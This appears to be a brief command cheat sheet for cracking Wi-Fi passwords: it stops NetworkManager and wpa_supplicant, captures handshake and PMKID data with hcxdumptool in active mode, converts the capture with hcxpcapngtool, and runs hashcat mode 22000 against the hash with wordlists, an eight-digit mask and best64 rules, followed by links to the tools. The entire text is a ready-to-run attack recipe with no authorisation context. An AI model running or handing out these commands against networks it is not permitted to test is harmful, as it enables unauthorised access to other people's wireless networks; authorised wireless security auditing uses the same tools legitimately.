sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service
sudo hcxdumptool -i interface -o dumpfile.pcapng --active_beacon --enable_status=15
sudo systemctl start wpa_supplicant.service
sudo systemctl start NetworkManager.service
hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng

hashcat -m 22000 hash.hc22000 wordlist.txt
hashcat -m 22000 hash.hc22000 cracked.txt.gz
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -r rules/best64.rule cracked.txt.gz

https://github.com/ZerBea/hcxdumptool
https://github.com/ZerBea/hcxtools
https://github.com/hashcat/hashcat
https://hashcat.net/wiki/doku.php?id=rule_based_attack
— Permalink